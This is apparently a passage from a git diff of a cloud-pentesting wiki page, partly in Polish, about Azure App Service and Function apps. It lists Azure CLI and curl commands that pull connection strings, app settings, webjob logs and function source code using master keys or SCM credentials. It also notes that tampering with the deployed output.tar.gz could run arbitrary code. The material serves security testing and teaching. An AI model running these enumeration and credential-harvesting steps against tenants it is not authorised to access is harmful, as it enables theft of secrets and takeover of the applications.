az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -196,7 +232,41 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Odniesienia
|
||||
## Przykłady generowania aplikacji webowych
|
||||
|
||||
### Python z lokalnego
|
||||
|
||||
Ten samouczek oparty jest na tym z [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
Logując się do portalu SCM lub przez FTP, można zobaczyć w `/wwwroot` skompresowany plik `output.tar.gz`, który zawiera kod aplikacji webowej.
|
||||
|
||||
> [!TIP]
|
||||
> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` nie wystarczy, aby zmienić kod wykonywany przez aplikację webową.
|
||||
|
||||
**Atakujący mógłby pobrać ten plik, zmodyfikować go i ponownie przesłać, aby wykonać dowolny kod w aplikacji webowej.**
|
||||
|
||||
### Python z Github
|
||||
|
||||
Ten samouczek oparty jest na poprzednim, ale wykorzystuje repozytorium Github.
|
||||
|
||||
1. Forkuj repozytorium msdocs-python-flask-webapp-quickstart w swoim koncie Github.
|
||||
2. Utwórz nową aplikację Web App w Azure.
|
||||
3. W `Deployment Center` zmień źródło, zaloguj się za pomocą Github, wybierz forkowane repozytorium i kliknij `Save`.
|
||||
|
||||
Podobnie jak w poprzednim przypadku, logując się do portalu SCM lub przez FTP, można zobaczyć w `/wwwroot` skompresowany plik `output.tar.gz`, który zawiera kod aplikacji webowej.
|
||||
|
||||
> [!TIP]
|
||||
> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` oraz ponowne uruchomienie wdrożenia nie wystarczy, aby zmienić kod wykonywany przez aplikację webową.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user